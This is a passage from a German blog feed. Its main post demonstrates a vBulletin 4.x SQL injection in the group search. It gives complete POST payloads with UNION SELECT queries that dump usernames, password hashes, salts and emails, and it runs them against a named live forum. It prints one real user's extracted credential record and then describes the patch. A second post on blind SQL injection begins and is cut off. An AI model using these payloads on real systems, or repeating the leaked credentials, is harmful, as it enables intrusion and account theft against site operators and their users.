 203:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;vB_Search_Searchtools&lt;span style="color: #339933;"&gt;::&lt;/span&gt;&lt;span style="color: #004000;"&gt;getDisplayString&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;'socialgroupcategory'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbphrase&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: blue;"&gt;'categories'&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;     &lt;span style="color: blue;"&gt;'title'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;'socialgroupcategoryid'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; vB_Search_Core&lt;span style="color: #339933;"&gt;::&lt;/span&gt;&lt;span style="color: #004000;"&gt;OP_EQ&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900; font-weight: bold;"&gt;true&lt;/span&gt; &lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wenn wir das nun mit der obigen Funktion vergleichen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&lt;span style="color: black; font-weight: bold;"&gt;public&lt;/span&gt; static &lt;span style="color: black; font-weight: bold;"&gt;function&lt;/span&gt; getDisplayString&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$table&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$table_display&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$fieldname&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$key&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$comparator&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$is_date&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: black; font-weight: bold;"&gt;global&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbphrase&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #000088;"&gt;$names&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #990000;"&gt;array&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;  &lt;span style="color: #000088;"&gt;$id&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;db&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;sql_prepare&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_array&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wird es diese wohl sein &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt;  &lt;br /&gt;&lt;em&gt;Wie nutze ich das nun aus?&lt;/em&gt;&lt;br /&gt;Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den  “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde  euch _eine_ Möglichkeit zeigen, wie ihr die Lücke ausnutzen könnt. Es  empfiehlt sich ein Addon wie “Live HTTP Headers” (für Firefox) zu  benutzen, da wir mit dem POST Parameter arbeiten werden.&lt;br /&gt;Schauen wir uns mal die Suche (search.php) an:&lt;br /&gt;Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content  Types”, wählen dort dann “Gruppen” (bzw. Groups) aus und suchen am  besten nach einer Gruppe, die auch existiert – ich werde es anhand von  einem Live Beispiel demonstrieren.&lt;br /&gt;Habe mir dieses Forum kurz geschnappt:&lt;br /&gt;&lt;a href="http://airoma.org/forum"&gt;http://airoma.org/forum&lt;/a&gt;&lt;br /&gt;Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/--nZ84xxlHu0/TahIjXXkodI/AAAAAAAAAAQ/vF3N9BcpkhI/s1600/Advanced+Search+-+Airoma+Forums_1302543050525.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="130" src="http://1.bp.blogspot.com/--nZ84xxlHu0/TahIjXXkodI/AAAAAAAAAAQ/vF3N9BcpkhI/s320/Advanced+Search+-+Airoma+Forums_1302543050525.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Einen Treffer gibts auch:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/--nZ84xxlHu0/TahIjXXkodI/AAAAAAAAAAQ/vF3N9BcpkhI/s1600/Advanced+Search+-+Airoma+Forums_1302543050525.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="130" src="http://1.bp.blogspot.com/--nZ84xxlHu0/TahIjXXkodI/AAAAAAAAAAQ/vF3N9BcpkhI/s320/Advanced+Search+-+Airoma+Forums_1302543050525.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-qCT-Hp04FIk/TahI3eqJIXI/AAAAAAAAAAU/sPdlkr_KZzI/s1600/Search+Results+-+Airoma+Forums_1302543060934.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://2.bp.blogspot.com/-qCT-Hp04FIk/TahI3eqJIXI/AAAAAAAAAAU/sPdlkr_KZzI/s320/Search+Results+-+Airoma+Forums_1302543060934.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;type%5B%5D=7&amp;amp;query=team&amp;amp;titleonly=1&amp;amp;searchuser=&amp;amp;exactname=1&amp;amp;tag=&amp;amp;dosearch=Search+Now&amp;amp;searchdate=0&amp;amp;beforeafter=after&amp;amp;sortby=relevance&amp;amp;order=descending&amp;amp;saveprefs=1&amp;amp;s=&amp;amp;securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&amp;amp;do=process&amp;amp;searchthreadid=&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;type%5B%5D=7&amp;amp;query=team&amp;amp;titleonly=1&amp;amp;searchuser=&amp;amp;exactname=1&amp;amp;tag=&amp;amp;dosearch=Search+Now&amp;amp;searchdate=0&amp;amp;beforeafter=after&amp;amp;sortby=relevance&amp;amp;order=descending&amp;amp;saveprefs=1&amp;amp;s=&amp;amp;securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&amp;amp;do=process&amp;amp;searchthreadid=&amp;amp;cat[0]=1) UNION SELECT 'haxhax' #&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Und sieh an, sieh an:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-5IxY24i2SJ8/TahJRhxmNqI/AAAAAAAAAAY/yqQqqwyyUz8/s1600/Search+Results+-+Airoma+Forums_1302543260248.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://3.bp.blogspot.com/-5IxY24i2SJ8/TahJRhxmNqI/AAAAAAAAAAY/yqQqqwyyUz8/s320/Search+Results+-+Airoma+Forums_1302543260248.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Eine eindeutige Ausgabe &lt;img alt=":)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif" /&gt; &lt;br /&gt;Nun kann man zum Beispiel so weiter machen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;type%5B%5D=7&amp;amp;query=team&amp;amp;titleonly=1&amp;amp;searchuser=&amp;amp;exactname=1&amp;amp;tag=&amp;amp;dosearch=Search+Now&amp;amp;searchdate=0&amp;amp;beforeafter=after&amp;amp;sortby=relevance&amp;amp;order=descending&amp;amp;saveprefs=1&amp;amp;s=&amp;amp;securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&amp;amp;do=process&amp;amp;searchthreadid=&amp;amp;cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;und siehe da:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-LwH_fqHX34k/TahJ7wkXAcI/AAAAAAAAAAc/zyGXMeu_x9o/s1600/Search+Results+-+Airoma+Forums_1302543694642.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://2.bp.blogspot.com/-LwH_fqHX34k/TahJ7wkXAcI/AAAAAAAAAAc/zyGXMeu_x9o/s320/Search+Results+-+Airoma+Forums_1302543694642.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&amp;amp;c$q#V}rD85C'D7~0,($cg,:/N:L#:richard@airoma.org&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Quasi owned &lt;img alt=";)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;br /&gt;&lt;em&gt;Wie behebe ich die Luecke?&lt;/em&gt;&lt;br /&gt;Als vB Kunde einfach den &lt;a href="http://www.vbulletin.com/forum/showthread.php/376995-vBulletin-4.X-Security-Patch"&gt;passenden Patch&lt;/a&gt;  benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen  (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):&lt;br /&gt;/vb/search/searchtools.php&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&amp;nbsp;&lt;br /&gt;  &lt;span style="color: #000088;"&gt;$id&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;db&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;sql_prepare&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_array&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Sprich es wurde einfach “$id = $vbulletin-&amp;gt;db-&amp;gt;sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die &lt;br /&gt;/includes/class_core.php &lt;br /&gt;editiert werden, naemlich:&lt;br /&gt;Alt (Zeile 750):&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&lt;span style="color: black; font-weight: bold;"&gt;function&lt;/span&gt; sql_prepare&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_string&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #000088;"&gt;$this&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;escape_string&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_numeric&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; AND &lt;span style="color: #000088;"&gt;$value&lt;/span&gt; &lt;span style="color: #339933;"&gt;+&lt;/span&gt; &lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt; &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_bool&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt; ? &lt;span style="color: #cc66cc;"&gt;1&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; &lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #000088;"&gt;$this&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;escape_string&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Neu:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&lt;span style="color: black; font-weight: bold;"&gt;function&lt;/span&gt; sql_prepare&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_string&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #000088;"&gt;$this&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;escape_string&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_numeric&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; AND &lt;span style="color: #000088;"&gt;$value&lt;/span&gt; &lt;span style="color: #339933;"&gt;+&lt;/span&gt; &lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt; &lt;span style="color: #339933;"&gt;==&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_bool&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt; ? &lt;span style="color: #cc66cc;"&gt;1&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; &lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_null&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: blue;"&gt;"''"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_array&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;foreach&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt; &lt;span style="color: #b1b100;"&gt;as&lt;/span&gt; &lt;span style="color: #000088;"&gt;$key&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #000088;"&gt;$item&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #000088;"&gt;$key&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$this&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;sql_prepare&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$item&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #000088;"&gt;$this&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;escape_string&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;"'"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So das war's erstmal..&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-1940251465515465133?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/1940251465515465133/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/vbulletin-4x-sql-injection.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/1940251465515465133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/1940251465515465133'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/vbulletin-4x-sql-injection.html' title='vBulletin® 4.x SQL Injection Vulnerability'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/--nZ84xxlHu0/TahIjXXkodI/AAAAAAAAAAQ/vF3N9BcpkhI/s72-c/Advanced+Search+-+Airoma+Forums_1302543050525.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-6632998522593114063</id><published>2011-04-15T06:06:00.000-07:00</published><updated>2011-04-15T06:06:21.878-07:00</updated><title type='text'>SQL Injection Tutorial Teil 3</title><content type='html'>Heyho,&lt;br /&gt;heute werde ich euch versuchen zu erklaeren, wie man eine &lt;strong&gt;Blind SQL Injection&lt;/strong&gt; durchführt. &lt;br /&gt;&lt;em&gt;Was ist/Wann/Warum eine Blind SQL 